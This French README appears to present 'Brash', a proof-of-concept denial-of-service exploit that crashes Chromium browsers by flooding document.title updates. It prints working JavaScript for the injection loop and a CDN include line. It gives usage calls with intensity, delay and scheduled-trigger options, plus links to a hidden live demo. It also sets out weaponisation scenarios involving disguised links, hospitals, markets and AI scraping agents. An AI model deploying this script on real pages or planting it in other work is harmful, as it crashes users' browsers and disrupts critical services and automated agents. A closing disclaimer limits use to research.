
Attaque DoS sur le navigateur Chromium via l'exploitation de document.title

Brash est une vulnérabilité critique dans Blink, le moteur de rendu qui alimente les navigateurs basés sur Chromium de Google. Elle permet à tout navigateur Chromium de s'effondrer en 15 à 60 secondes en exploitant une faille architecturale dans la gestion de certaines opérations DOM.
Le vecteur d'attaque provient de l'absence totale de limitation de débit sur les mises à jour de l'API document.title. Cela permet d'injecter des millions de mutations DOM par seconde, et pendant cette tentative d'injection, sature le thread principal, perturbant la boucle d'événements et provoquant l'effondrement de l'interface. L'impact est significatif : cela consomme d'importantes ressources CPU, dégrade les performances globales du système et peut stopper ou ralentir d'autres processus s'exécutant simultanément. En affectant les navigateurs Chromium sur les environnements de bureau, Android et embarqués, cette vulnérabilité expose plus de 3 milliards de personnes sur Internet à un déni de service au niveau système.
STATUT : Opérationnel
VERSIONS AFFECTÉES : Chromium ≤ 143.0.7483.0 (testé : 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)
[!NOTE] L'exploit est actuellement opérationnel. Une fois la vulnérabilité corrigée, ce code cessera de fonctionner. Néanmoins, découvrir cette faille architecturale et mener à bien l'ensemble du processus de recherche, de documentation et de conception pour partager quelque chose d'impactant avec le monde a été un parcours incroyablement enrichissant.
11 navigateurs majeurs ont été testés sur macOS, Windows et Linux pour valider l'impact de la vulnérabilité.
Tous les navigateurs basés sur Chromium sont vulnérables car la faille se trouve au cœur du moteur de rendu Blink :
Brash exploite une faille architecturale fondamentale dans le moteur de rendu Blink : l'absence de limitation (throttling) sur les mises à jour de document.title. L'attaque se déroule en trois phases critiques :
Génère 100 chaînes hexadécimales uniques de 512 caractères et les stocke en mémoire avant de lancer l'attaque.
Pourquoi les pré-charger plutôt que de les générer en temps réel ?
Parce que générer en permanence de nouvelles chaînes consomme du temps CPU pour des opérations mathématiques. Ce temps est critique : chaque milliseconde passée à générer des chaînes est un temps NON utilisé pour bombarder le navigateur de mises à jour document.title.
En ayant 100 chaînes déjà chargées en mémoire :
Par conséquent, nous obtenons une vitesse d'injection maximale avec une consommation mémoire maximale par mise à jour.
// Generates high-entropy unique IDs
gid: function() {
let id = "";
for (let i = 0x0; i < 0x200; i++) {
id += ((Math.random() * 0x10) | 0x0).toString(0x10);
}
return id;
}
Exécute des rafales configurables de mises à jour du titre. Avec la configuration par défaut (burst : 8000, intervalle : 1 ms), il tente d'injecter environ 24 millions de mises à jour par seconde, et c'est au cours de cette tentative que l'effondrement du navigateur commence.
// Triple-update pattern: maximizes rendering pipeline thrashing
inject: function() {
const t = this.titles[Math.random() * this.titles.length | 0x0];
for (let i = 0x0; i < 0x3; i++) {
document.title = t + i; // Each burst performs 3 sequential updates
}
this.counter += 0x3;
}
Les mises à jour continues saturent le thread principal du navigateur, empêchant le traitement des autres événements :
Chronologie de l'effondrement :
Pourquoi cela fonctionne-t-il ?
Blink traite chaque modification de document.title de manière synchrone sur le thread principal, sans limitation de débit. Cela crée un goulot d'étranglement qui :
Pour bien comprendre l'impact de Brash, vous pouvez expérimenter l'exploit dans différents contextes, d'une démo en direct contrôlée à votre propre implémentation. Chaque option est conçue pour différents niveaux d'interaction et de compréhension technique.
Le moyen le plus rapide de voir Brash en action. Rendez-vous sur https://brash.run
Pour voir l'exploit sans interface graphique, visitez https://brash.run/hidden-live-demo.html. Cette version exécute l'injection de manière invisible, simulant une véritable attaque.
Si vous préférez exécuter la démo dans votre propre environnement, le répertoire exploit-demo/ inclus dans le dépôt vous permet de :
Ouvrez simplement exploit-demo/index.html dans n'importe quel navigateur Chromium et configurez les valeurs burst et interval avant de commencer.
Pour intégrer Brash dans vos propres tests de sécurité ou recherches, incluez le script et configurez l'attaque :
Inclure le script :
<!-- Local -->
<script src="brash.js"></script>
<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>
Utilisation de l'API :
// 1. Immediate attack
Brash.run({
burstSize: 8000,
interval: 1
});
// 2. Delay in seconds (default)
Brash.run({
burstSize: 8000,
interval: 1,
delay: 30 // 30 seconds
});
// 3. Delay with strings
Brash.run({
burstSize: 8000,
interval: 1,
delay: "30s" // or "5000ms" or "3m"
});
// 4. Scheduled attack
Brash.run({
burstSize: 8000,
interval: 1,
scheduled: "2025-10-18T09:30:00"
});
Configurations d'intensité :
// Moderate: controlled observation
// Effect: Browser responds slowly and allows observing gradual degradation
Brash.run({
burstSize: 200,
interval: 1000 // ~600 updates/sec
});
// Aggressive: rapid saturation
// Effect: Tabs freeze in 10-20 seconds
Brash.run({
burstSize: 2000,
interval: 100 // ~60,000 updates/sec
});
// Extreme: instant collapse
// Effect: Immediate freeze, total crash in 15-30 seconds
Brash.run({
burstSize: 8000,
interval: 1 // Attempts ~24M updates/sec (browser collapses during the attempt)
});
Remarque : chaque rafale exécute 3 mises à jour séquentielles de
document.title. Par exemple, burstSize : 400 = 1 200 mises à jour réelles par intervalle.
Brash peut être utilisé comme arme dans de multiples contextes critiques, avec des conséquences allant de pertes économiques à un risque pour la vie humaine.
Une caractéristique critique qui amplifie le danger de Brash est sa capacité à être programmée pour s'exécuter à des moments précis. Un attaquant peut injecter le code avec un déclencheur temporel, restant dormant jusqu'à une heure exacte prédéterminée.
Implémentation technique :
// Delay in seconds (default)
Brash.run({ burstSize: 8000, interval: 1, delay: 30 });
// Delay with strings (ms, s, m)
Brash.run({ burstSize: 8000, interval: 1, delay: "30s" });
Brash.run({ burstSize: 8000, interval: 1, delay: "5000ms" });
// Scheduled: executes at exact moment
Brash.run({ burstSize: 8000, interval: 1, scheduled: "2025-10-18T09:30:00" });
Paramètres :
burstSize : mises à jour par cycleinterval : millisecondes entre les cyclesdelay : nombre (secondes) ou chaîne ("30s", "5000ms", "3m")scheduled : chaîne ISO ou objet DatePourquoi le paramètre delay est particulièrement létal :
Scénario typique avec delay :
00:00 - Victim opens link "Q4 Documents.pdf"
00:30 - Victim reviews documents, appears legitimate
02:00 - Victim shares screen in meeting with 50 people
03:00 - ATTACK EXECUTES - all browsers collapse
Pourquoi le paramètre scheduled est également dévastateur :
Exemples de timing stratégique :
Cette capacité de timing cinétique transforme Brash d'un outil de disruption en arme de précision temporelle, où l'attaquant contrôle non seulement le « quoi » et le « où », mais aussi le « quand » avec une précision à la milliseconde.
Scénario : les systèmes d'entreprise qui dépendent d'agents IA pour le web scraping, l'analyse de marché, la surveillance des concurrents ou l'automatisation du support client utilisent des navigateurs sans tête (Chromium/Puppeteer) pour interroger des milliers de sites web quotidiennement. Un attaquant injecte Brash dans des sites populaires que ces agents consultent.
Pendant des opérations automatisées critiques :
Vecteurs d'attaque amplifiés :
Impact réel : paralysie des opérations automatisées critiques, pertes économiques dues à des décisions non prises, dégradation massive des services dépendants de l'IA, coûts de récupération de l'infrastructure, exposition de la dépendance critique aux agents automatisés.
Scénario : un chirurgien cardiovasculaire réalise un pontage coronarien assisté par un système de navigation chirurgicale basé sur le web (de plus en plus courant dans les chirurgies mini-invasives). Le système fournit des images en temps réel, les paramètres vitaux du patient et le guidage des instruments robotiques.
Pendant la phase la plus critique de l'opération, une notification du navigateur apparaît : « ALERTE : mise à jour critique du système chirurgical - Appliquez maintenant ou l'opération peut échouer. »
En cliquant paniqué :
Impact réel : risque direct de décès du patient, potentiel de dommages permanents, traumatisme psychologique pour l'équipe médicale, procès de plusieurs millions de dollars pour négligence technologique.
Scénario : pendant l'ouverture du marché de Wall Street, un acteur malveillant injecte Brash dans plusieurs canaux simultanément : l'interface web de Bloomberg Terminal, le chat des traders institutionnels et des forums spécialisés. Le lien promet « Fuite : transcription de la réunion d'urgence de la Fed - Baisse des taux confirmée ».
Dans les 30 premières secondes de négociation (liquidité maximale) :
Impact réel : pertes de milliers de milliards de dollars en capitalisation boursière, panique financière mondiale, enquêtes de la SEC, crise de confiance potentielle sur les marchés.
Scénario : des analystes de fraude d'une banque traitent en temps réel des alertes de transactions suspectes via un tableau de bord web. Pendant le Black Friday (pic de transactions), ils reçoivent Brash par e-mail professionnel : « Nouveau schéma de fraude détecté - analyse urgente requise ».
Au moment du plus fort volume transactionnel :
Impact réel : des millions de dollars de pertes directes, des milliers de clients avec des débits frauduleux, des dommages réputationnels massifs, des amendes réglementaires pour défaillance des systèmes de prévention.
Ces scénarios ne sont pas théoriques. La simplicité de Brash en fait une menace réelle pour toute opération qui dépend des navigateurs web, ce qui en 2025 signifie pratiquement tout.
La création de Brash est un effort pour démontrer ce qui se produit lorsque des protections de base sont absentes des technologies web que nous utilisons quotidiennement. La vulnérabilité ne réside pas dans un code complexe ou des techniques avancées, mais dans l'absence fondamentale de limitation de débit sur une API qui devrait être bridée par conception.
L'impact de Brash sur plus de 3 milliards d'utilisateurs de navigateurs Chromium démontre que les défauts architecturaux de composants centraux comme Blink ont des conséquences massives et mondiales. Ce n'est pas un bug isolé, c'est un défaut de conception qui affecte tout l'écosystème Chromium.
Souvent, les choses les plus dangereuses se cachent dans l'endroit le moins attendu, celui que l'on ignore le plus. - Jose Pino
Ce PoC est destiné uniquement à des fins éducatives et de recherche en sécurité afin de contribuer à rendre Internet plus sûr. Son exécution doit être effectuée exclusivement dans des environnements contrôlés et ne doit pas être utilisée sur des systèmes de production, des sites web publics ou des appareils contenant des données importantes.
Une mauvaise utilisation de cet exploit peut entraîner des plantages du navigateur, des pertes de données et une instabilité du système. L'auteur n'est pas responsable des dommages, des pertes de données ou des conséquences juridiques découlant de l'utilisation ou de la mauvaise utilisation de ce PoC. En utilisant Brash, vous reconnaissez comprendre ces risques et acceptez de l'utiliser uniquement pour une recherche en sécurité légitime dans des environnements isolés.
Les utilisateurs sont tenus de se conformer à toutes les lois et réglementations applicables. L'utilisation non autorisée de cet exploit contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester est illégale et contraire à l'éthique.
Le contenu de ce projet lui-même est sous licence Creative Commons Attribution 3.0, et le code source sous-jacent utilisé pour formater et afficher ce contenu est sous licence MIT.
Copyright (c) 2025 par Jose Pino